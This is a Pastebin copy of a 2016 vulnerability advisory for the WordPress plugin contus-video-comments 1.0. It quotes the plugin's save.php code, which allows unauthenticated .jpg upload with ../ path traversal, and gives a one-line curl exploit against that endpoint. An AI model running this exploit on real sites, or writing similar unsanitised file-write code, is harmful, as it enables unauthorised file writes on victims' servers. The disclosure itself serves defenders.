Advertisement
FenixCT

WordPress Contus Video Comments 1.0 File Upload

Aug 19th, 2016
137
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.06 KB | None | 0 0
  1. Title: Unauthenticated remote .jpg file upload in contus-video-comments v1.0 wordpress plugin
  2. Author: Larry W. Cashdollar, @_larry0
  3. Date: 2016-06-15
  4. Download Site: https://wordpress.org/plugins/contus-video-comments/
  5. Vendor: https://profiles.wordpress.org/hdflvplayer/
  6. Vendor Notified: 2016-06-16
  7. Vendor Contact:
  8. Description: Video comments integrated with the standard comment system of wordpress.
  9. Vulnerability:
  10.  
  11. The following code allows any user to upload .jpg files to the WordPress installation. It also allows path traversal with ../.
  12.  
  13. <?php
  14. //This project is done by vamapaull: http://blog.vamapaull.com/
  15. //The php code is done with some help from Mihai Bojin: http://www.mihaibojin.com/
  16.  
  17. if(isset($GLOBALS["HTTP_RAW_POST_DATA"])){
  18. $jpg = $GLOBALS["HTTP_RAW_POST_DATA"];
  19. $filename = "images/". $_GET["id"]. ".jpg";
  20. file_put_contents($filename, $jpg);
  21. } else{
  22. echo "Encoded JPEG information not received.";
  23. }
  24. ?>
  25.  
  26. CVE-TBD
  27. Exploit Code:
  28. • $ curl --data @image.jpg "http://wp-site/wp-content/plugins/contus-video-comments/save.php?id=../image"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement